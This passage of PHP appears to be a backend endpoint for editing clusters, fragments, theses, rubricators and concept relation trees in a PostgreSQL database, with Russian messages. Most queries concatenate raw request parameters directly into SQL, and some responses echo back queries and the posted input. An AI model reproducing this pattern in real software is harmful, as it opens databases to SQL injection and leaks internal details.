"SELECT count(1) as val FROM clusters WHERE clusterstr = '$testr'"); if ($c2 == 0) { { $q = "INSERT INTO clusters(clusterstr, sessionident, sessionid, shortcomments, reqstr, dt)" . "VALUES (" . sstr($testr) . ", $ssid, $ssid, " . sstr($shortcomments) . ',' . sstr($reqstr) . ' ,' . sstr($dt) . ") RETURNING clusterid"; $te_id = get_data_one_val($conn, $q); } } else { $te_id = get_data_one_val($conn, "SELECT clusterid as val FROM clusters WHERE clusterstr = '$testr'"); } } else { $te_id = $_POST['clusterid']; } $noemptry = get_data_one_val($conn, "SELECT count(1) as val FROM cluster2concept WHERE clusterid = '$te_id' AND conceptid = 0"); $q = "INSERT INTO cluster2concept(conceptid, clusterid, sessionident, sessionid)" . "VALUES ('" . $_POST['conceptid'] . "', " . $te_id . ", $ssid, $ssid)"; $res = pg_query ($conn, $q); pg_free_result ($res); if ($noemptry == 0) { $q = "DELETE FROM cluster2concept WHERE clusterid = '$te_id' AND conceptid = 0"; $res = pg_query ($conn, $q); pg_free_result ($res); } $data['message'] = "Сюжет к концепту добавлен!(cluster_id=$te_id)"; } else if ($action == "cluster_edit") { $langid = '10'; if (isset($_POST['langid'])) $langid = $_POST['langid']; $te_id = $_POST['clusterid']; $testr = $_POST['clusterstr']; $reqstr = $_POST['reqstr']; $dt = $_POST['dt']; $shortcomments = $_POST['shortcomments']; $c1 = get_data_one_val($conn, "SELECT count(1) as val FROM clusters WHERE clusterid = $te_id"); $c2 = get_data_one_val($conn, "SELECT count(1) as val FROM clusters WHERE clusterstr = '$testr' AND clusterid != $te_id"); if ($c1 == 0) { $data['message'] = "Не найден кластер с таким ID!(te_id=$te_id)"; } else if ($c2 > 0) { $data['error'] = "Кластер с таким названием уже существует!(te_id=$te_id)"; } else { $q = "UPDATE clusters SET clusterstr = " . sstr($testr) . ", reqstr = " . sstr($reqstr) . ", shortcomments = " . sstr($shortcomments) . ", dt=" . sstr($dt) . ", sessionid = $ssid " . " WHERE clusterid =$te_id"; $res = pg_query($conn, $q); pg_free_result($res); $data['message'] = "Сюжет изменен!(te_id=$te_id)"; } } else if ($action == "text_object_edit") { $langid = '10'; if (isset($_POST['langid'])) $langid = $_POST['langid']; $to_id = $_POST['to_id']; $tostr = $_POST['text']; $totype = $_POST['type']; $conceptid = $_POST['conceptid']; if ($to_id != -1) { exec_sql($conn, "DELETE FROM text_object_rels WHERE (child_id = $to_id OR parent_id = $to_id) AND conceptid = $conceptid"); exec_sql($conn, "DELETE FROM text_object_index WHERE to_id = $to_id"); exec_sql($conn, "UPDATE text_objects SET totype_id = $totype, to_text = " . sstr($tostr) . " WHERE to_id = $to_id"); $data['message'] = "Изменено! (to_id=$to_id)"; } else { $to_id = get_data_one_val($conn, "INSERT INTO text_objects(totype_id, to_text) VALUES ($totype, " . sstr($tostr) . ") RETURNING to_id;"); exec_sql($conn, "INSERT INTO text_objects2concepts(conceptid, to_id, sessionid, sessionident) VALUES ($conceptid, $to_id, -1, -1)"); $data['message'] = "Добавлено! (to_id=$to_id)"; } if (isset($_POST['rels'])) foreach($_POST['rels'] as $rl) { if ($rl['to_id'] != $to_id) exec_sql($conn, "INSERT INTO text_object_rels(parent_id, child_id, conceptid) VALUES (" . $rl['to_id'] . ", $to_id, $conceptid), ($to_id, " . $rl['to_id'] . ", $conceptid)"); } if (isset($_POST['index'])) foreach($_POST['index'] as $e) { exec_sql($conn, "INSERT INTO text_object_index(to_id, auto, znak, str, item_type_id, item_id) VALUES ($to_id, " . $e['auto'] . ", " . $e['znak'] . ", " . ($e['item_type_id'] == 10 ? 'NULL' : $e['item_str']) . ", " . $e['item_type_id'] . ", " . ($e['item_type_id'] == 10 ? $e['item_id'] : 'NULL') . ")"); } } else if ($action == "text_object_del") { $to_id = $_POST['to_id']; get_data_one_val($conn, "DELETE FROM text_object_rels WHERE child_id = $to_id OR parent_id = $to_id"); get_data_one_val($conn, "DELETE FROM text_objects2concepts WHERE to_id = $to_id"); get_data_one_val($conn, "DELETE FROM text_objects WHERE to_id = $to_id"); } else if ($action == "cluster_frag_del") { $langid = '10'; if (isset($_POST['langid'])) $langid = $_POST['langid']; $q = 'DELETE FROM cluster_frags WHERE fragmentid = '. $_POST['fragmentid']; $res = pg_query ($conn, $q); pg_free_result ($res); $data['message'] = 'Текст удален!'; } else if ($action == "cluster_frag_add") { $langid = '10'; if (isset($_POST['langid'])) $langid = $_POST['langid']; $te_id = -1; $testr = $_POST['fragmentstr']; $textinfo = $_POST['textinfo']; //if ((!isset($_POST['frid'])) || ($_POST['frid'] == '')) { //$c2 = get_data_one_val($conn, "SELECT count(1) as val FROM clusters WHERE clusterstr = '$testr'"); //if ($c2 == 0) { // { $q = "INSERT INTO cluster_frags(clusterid, fragmentstr, textinfo, sessionid, sessionident)" . "VALUES (" . $_POST['clusterid'] . ',' . sstr($testr) . ',' . sstr($textinfo) . ", $ssid, $ssid) RETURNING fragmentid"; $te_id = get_data_one_val($conn, $q); // } //} else { // $te_id = get_data_one_val($conn, "SELECT clusterid as val FROM clusters WHERE clusterstr = '$testr'"); //} //} else { // $te_id = $_POST['frid']; //} $data['message'] = "Текст добавлен!(fragment_id=$te_id)"; } else if ($action == "cluster_frag_edit") { $langid = '10'; if (isset($_POST['langid'])) $langid = $_POST['langid']; $te_id = $_POST['fragmentid']; $testr = $_POST['fragmentstr']; $textinfo = $_POST['textinfo']; $q = "UPDATE cluster_frags SET fragmentstr = " . sstr($testr) . ", textinfo = " . sstr($textinfo) . ", sessionid = $ssid " . " WHERE fragmentid =$te_id"; $res = pg_query($conn, $q); pg_free_result($res); $data['message'] = "Текст изменен!(te_id=$te_id)"; } else if ($action == "cluster_frag_thesis_del") { $langid = '10'; if (isset($_POST['langid'])) $langid = $_POST['langid']; $q = 'DELETE FROM cluster_frag_thesis WHERE thesisid = '. $_POST['thesisid']; $res = pg_query ($conn, $q); pg_free_result ($res); $data['message'] = 'Тезис удален!'; } else if ($action == "cluster_frag_thesis_add") { $langid = '10'; if (isset($_POST['langid'])) $langid = $_POST['langid']; $te_id = -1; $testr = $_POST['thesisstr']; $textinfo = $_POST['textinfo']; //if ((!isset($_POST['frid'])) || ($_POST['frid'] == '')) { //$c2 = get_data_one_val($conn, "SELECT count(1) as val FROM clusters WHERE clusterstr = '$testr'"); //if ($c2 == 0) { // { $q = "INSERT INTO cluster_frag_thesis(fragmentid, thesisstr, textinfo, sessionid, sessionident)" . "VALUES (" . $_POST['fragmentid'] . ',' . sstr($testr) . ',' . sstr($textinfo) . ", $ssid, $ssid) RETURNING thesisid"; $te_id = get_data_one_val($conn, $q); // } //} else { // $te_id = get_data_one_val($conn, "SELECT clusterid as val FROM clusters WHERE clusterstr = '$testr'"); //} //} else { // $te_id = $_POST['frid']; //} $data['message'] = "Тезиз добавлен!(thesis_id=$te_id)"; } else if ($action == "cluster_frag_thesis_edit") { $langid = '10'; if (isset($_POST['langid'])) $langid = $_POST['langid']; $te_id = $_POST['thesisid']; $testr = $_POST['thesisstr']; $textinfo = $_POST['textinfo']; $q = "UPDATE cluster_frag_thesis SET thesisstr = " . sstr($testr) . ", textinfo = " . sstr($textinfo) . ", sessionid = $ssid " . " WHERE thesisid =$te_id"; $res = pg_query($conn, $q); pg_free_result($res); $data['message'] = "Тезиз изменен!(te_id=$te_id)"; } else if ($action == 'rubricator_add') { $concid = -1; $q = 'SELECT rubricatorid FROM rubcator WHERE rubricatorstr = ' . sstr(trim($_POST['rubricatorstr'])) . ''; $res = pg_query ($conn, $q); if ($row = pg_fetch_array($res)) $concid = $row['rubricatorid']; $q = 'SELECT rubricatorid FROM rubcator WHERE rubricatorid = ' . $_POST['rubricatorid'] . ''; $res = pg_query ($conn, $q); if ($row = pg_fetch_array($res)) $concid = -2; pg_free_result ($res); if ($concid == -1) { $q = 'INSERT INTO rubcator(rubricatorid, rubricatorstr)' . 'VALUES (' . $_POST['rubricatorid'] . ',' . sstr($_POST['rubricatorstr']) . ')'; $data['q1'] = $q; $res = pg_query ($conn, $q); pg_free_result ($res); $data['message'] = 'Рубрикатор добавлен!'; $data['rubricatorid'] = $_POST['rubricatorid']; $data['rubricatorstr'] = $_POST['rubricatorstr']; } else if ($concid == -2) { $data['error'] = 'Рубрикатор с таким ID уже существует!'; $data['error_id'] = '100'; } else { $data['error'] = 'Рубрикатор с таким именем уже существует! (Id = ' . $concid . ")"; $data['error_id'] = '100'; } } else if ($action == 'rubricator_edit') { $concid = -1; $q = 'SELECT rubricatorid FROM rubcator WHERE rubricatorstr = ' . sstr(trim($_POST['rubricatorstr'])) . ' AND rubricatorid <> ' . $_POST['rubricatorid']; $res = pg_query ($conn, $q); if ($row = pg_fetch_array($res)) $concid = $row['rubricatorid']; pg_free_result ($res); if ($concid == -1) { $q = 'UPDATE rubcator SET rubricatorstr = ' . sstr($_POST['rubricatorstr']) . ' WHERE rubricatorid = ' . $_POST['rubricatorid']; $data['q1'] = $q; $res = pg_query ($conn, $q); pg_free_result ($res); $data['message'] = 'Рубрикатор изменен!'; $data['rubricatorid'] = $_POST['rubricatorid']; $data['rubricatorstr'] = $_POST['rubricatorstr']; } else { $data['error'] = 'Рубрикатор с таким именем уже существует! (Id = ' . $concid . ")"; $data['error_id'] = '100'; } } else if ($action == "gettreeconc") { $slist = array(); $dlist = array(); $rlist = array(); $plist = array(); $slist[] = $_GET['conceptid']; $sqlx = "SELECT conceptstr FROM concepts WHERE conceptid = " . $_GET['conceptid']; $str = get_data_one_val($conn, $sqlx); $dlist[$_GET['conceptid']] = array("cid" => $_GET['conceptid'], "cstr" => $str, 'level' => 0); $up = ($_GET['up'] == '1'); $maxlevel = $_GET['maxlevel']; $maxcount = $_GET['maxcount']; $plusonelevel = $_GET['plusonelevel']; $zamykanie = $_GET['zamykanie']; $i = 0; while ($i < count($slist)) { $lvl = $dlist[$slist[$i]]['level']; if ($lvl < $maxlevel) { $sqlx = "SELECT r.concept2id, r.relationid, r.aspect, n.relationstr, c.conceptstr FROM relats r JOIN relnames n ON n.relationid = r.relationid JOIN concepts c on r.concept2id = c.conceptid WHERE r.concept1id = " . $slist[$i]; if ($up) $sqlx .= " AND (r.relationid = 10 OR r.relationid = 20 OR (r.relationid = 50 AND (r.aspect = '' OR r.aspect is null OR r.aspect = '1')))"; else $sqlx .= " AND (r.relationid = 30 OR r.relationid = 40 OR (r.relationid = 50 AND (r.aspect = '' OR r.aspect is null OR r.aspect = '2')))"; $rr = get_data_array($conn, $sqlx); for($k = 0; $k < count($rr); $k++) { if ((!isset($dlist[$rr[$k]['concept2id']])) && ((!$maxcount) || ($maxcount >= count($dlist)))) { $dlist[$rr[$k]['concept2id']] = array("cid" => $rr[$k]['concept2id'], "cstr" => $rr[$k]['conceptstr'], "level" => $lvl + 1); $slist[] = $rr[$k]['concept2id']; if ($slist[$i] < $rr[$k]['concept2id']) $relid = $slist[$i] . '_' . $rr[$k]['concept2id']; else $relid = $rr[$k]['concept2id'] . '_' . $slist[$i]; if (!isset($rlist[$relid])) { $rlist[$relid] = array('concept1id' => $slist[$i], 'concept2id' => $rr[$k]['concept2id'], 'relationid' => $rr[$k]['relationid'], 'relationstr' => $rr[$k]['relationstr'], 'aspect' => $rr[$k]['aspect']); } } } } $i++; } if ($plusonelevel) { $i = 0; while ($i < count($slist)) { $lvl = $dlist[$slist[$i]]['level']; if ($lvl < $maxlevel) { $sqlx = "SELECT r.concept2id, r.relationid, r.aspect, n.relationstr, c.conceptstr FROM relats r JOIN relnames n ON n.relationid = r.relationid JOIN concepts c on r.concept2id = c.conceptid WHERE r.relationid in (10, 20, 30, 40, 50) AND r.concept1id = " . $slist[$i]; $rr = get_data_array($conn, $sqlx); for($k = 0; $k < count($rr); $k++) { if ((!isset($dlist[$rr[$k]['concept2id']])) && ((!$maxcount) || ($maxcount >= count($dlist)))) { $dlist[$rr[$k]['concept2id']] = array("cid" => $rr[$k]['concept2id'], "cstr" => $rr[$k]['conceptstr'], "level" => $lvl + 1); if ($slist[$i] < $rr[$k]['concept2id']) $relid = $slist[$i] . '_' . $rr[$k]['concept2id']; else $relid = $rr[$k]['concept2id'] . '_' . $slist[$i]; if (!isset($rlist[$relid])) { $rlist[$relid] = array('concept1id' => $slist[$i], 'concept2id' => $rr[$k]['concept2id'], 'relationid' => $rr[$k]['relationid'], 'relationstr' => $rr[$k]['relationstr'], 'aspect' => $rr[$k]['aspect']); } } } } $i++; } } if ($zamykanie) { $i = 0; while ($i < count($slist)) { //$lvl = $dlist[$slist[$i]]['level']; //if ($lvl < $maxlevel) { $sqlx = "SELECT r.concept2id, r.relationid, r.aspect, n.relationstr, c.conceptstr FROM relats r JOIN relnames n ON n.relationid = r.relationid JOIN concepts c on r.concept2id = c.conceptid WHERE r.relationid in (10, 20, 30, 40, 50) AND r.concept1id = " . $slist[$i]; $rr = get_data_array($conn, $sqlx); for($k = 0; $k < count($rr); $k++) { //if ((!isset($dlist[$rr[$k]['concept2id']])) && ((!$maxcount) || ($maxcount >= count($dlist)))) { // $dlist[$rr[$k]['concept2id']] = array("cid" => $rr[$k]['concept2id'], // "cstr" => $rr[$k]['conceptstr'], // "level" => $lvl + 1); if ($slist[$i] < $rr[$k]['concept2id']) $relid = $slist[$i] . '_' . $rr[$k]['concept2id']; else $relid = $rr[$k]['concept2id'] . '_' . $slist[$i]; if (!isset($rlist[$relid])) { $rlist[$relid] = array('concept1id' => $slist[$i], 'concept2id' => $rr[$k]['concept2id'], 'relationid' => $rr[$k]['relationid'], 'relationstr' => $rr[$k]['relationstr'], 'aspect' => $rr[$k]['aspect'], 'closure' => 1); } //} } //} $i++; } } $data = array('message'=> 'Дерево построено', 'error' => '', 'nodes' => array_values($dlist), 'edges' => array_values($rlist)); } else { $data['error'] = 'Не известное действие: "' . $action . '"'; $data['inpost'] = $_POST; $data['error_id'] = '10'; } $rs = json_encode($data); echo $rs; ?>